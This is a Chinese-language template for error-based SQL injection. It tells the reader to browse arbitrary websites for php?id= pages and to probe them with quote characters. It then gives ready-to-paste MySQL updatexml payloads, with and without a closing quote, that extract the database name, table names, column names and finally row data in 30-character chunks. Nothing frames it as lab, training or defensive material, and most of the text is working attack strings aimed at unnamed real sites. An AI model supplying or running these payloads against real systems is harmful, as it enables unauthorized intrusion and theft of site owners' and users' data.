1
报错注入模板
2

3
1、寻找注入点
4

5
先从网站随便点一下，查找url中带php？id=xxx的页面
6

7
之后在php？id=xxx后先加个单引号，如果页面有数据库报错回显说明存在报错注入漏洞，并且可以判断没有双引号
8

9
再加个双引号，如果页面依然有数据库报错回显说明该网站不存在特殊符号，如果回复成正常
10
页面说明存在单引号
11

12
2、提取数据库名（此部分无需改动）
13

14
①无特殊符号
15
（url网址）or (updatexml(1,concat(0x7e,(select database()),0x7e),1))
16

17
②存在单引号
18
（url网址）' or (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '
19

20
3、提取数据表名(除了修改30这个数值，其他无需改动）
21

22
①无特殊符号
23

24
（url网址） or (updatexml(1,concat(0x7e,(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,30)),0x7e),1))
25

26
【1，30】先测试一下30这个字符串长度是否可以，如果页面有回显两个“~”，说明是可以的
27

28
接着按照这个顺序【1，30】【31，30】【61，30】【91，30】【121，30】【151，30】等，这样查询更换直到输出全部的数据表名
29

30
②存在单引号
31

32
（url网址）' or (updatexml(1,concat(0x7e,(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,30)),0x7e),1)) or '
33

34
4、提取数据列名（需要将数据表名转为16进制填入）
35

36
①无特殊符号
37

38
（url网址） or  (updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=要查询数据表名的十六进制转换),1,30)),0x7e),1))
39

40
譬如：0x61646d696e：是admin的十六进制转换，所以这里填0x61646d696e
41

42
【1，30】一样按照数据表名那样一直顺序输入直至得到完整的数据列名
43

44
②存在单引号
45

46
（url网址）' or  (updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=要查询数据表名的十六进制转换),1,30)),0x7e),1)) or '
47

48
5、提取数据信息（需要填入需要查询的数据列名，以及最开始的数据表名）
49

50
①无特殊符号
51

52
（url网址） or  (updatexml(1,concat(0x7e,(substr((select group_concat(要查询的数据列名1,'---',要查询的数据列名2) from 查询出这些数据列的数据表名，无需十六进制转换),1,30)),0x7e),1))
53

54
 如果有些网站屏蔽掉单引号，'---'可以不写
55

56
【1，30】一样按照数据列名那样一直顺序输入直至得到完整的数据信息
57

58
②存在单引号
59

60
（url网址）' or  (updatexml(1,concat(0x7e,(substr((select group_concat(要查询的数据列名1,'---',要查询的数据列名2) from 查询出这些数据列的数据表名，无需十六进制转换),1,30)),0x7e),1)) or '